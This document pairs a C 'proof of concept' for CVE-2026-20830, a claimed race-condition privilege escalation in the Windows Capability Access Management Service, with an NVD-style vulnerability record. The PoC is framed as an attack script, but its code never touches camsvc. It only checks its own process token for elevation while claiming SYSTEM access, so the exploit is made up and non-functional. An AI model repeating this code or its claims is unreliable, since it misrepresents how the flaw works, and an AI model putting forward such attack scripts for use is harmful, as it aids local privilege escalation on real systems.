CVE-2026-20830

// CVE-2026-20830 PoC - Race Condition in camsvc // This PoC demonstrates a Time-of-Check to Time-of-Use (TOCTOU) race condition // Compile: gcc -o camsvc_poc camsvc_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <windows.h> #define ITERATIONS 10000 void* race_condition_thread(void* arg) { HANDLE hToken = NULL; DWORD iterations = *(DWORD*)arg; for (DWORD i = 0; i < iterations; i++) { // Attempt to open camsvc service with elevated privileges // Time window for race condition exploitation OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); // Check if we gained elevated privileges TOKEN_ELEVATION tokenElevation; DWORD returnedLength = 0; if (GetTokenInformation(hToken, TokenElevation, &tokenElevation, sizeof(tokenElevation), &returnedLength)) { if (tokenElevation.TokenIsElevated) { printf("[+] Race condition successful! Elevated token obtained at iteration %lu\n", i); // At this point, attacker has SYSTEM-level access break; } } if (hToken) CloseHandle(hToken); } return NULL; } int main() { pthread_t threads[4]; DWORD iterations_per_thread = ITERATIONS / 4; printf("[*] CVE-2026-20830 camsvc Race Condition PoC\n"); printf("[*] Target: Windows Capability Access Management Service\n"); printf("[*] Starting race condition attack with %d iterations...\n", ITERATIONS); // Launch multiple threads to increase race condition probability for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, race_condition_thread, &iterations_per_thread); } for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } printf("[*] Attack completed. Check for privilege escalation.\n"); return 0; }

{"cve": {"id": "CVE-2026-20830", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:10.817", "lastModified": "2026-01-15T13:06:09.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Capability Access Management Service (camsvc) allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en el Servicio de Gestión de Acceso a Capacidades (camsvc) permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "C6BE8CAC-3A47-48FC-A0FD-F0F0ADD2A9CE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20830", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}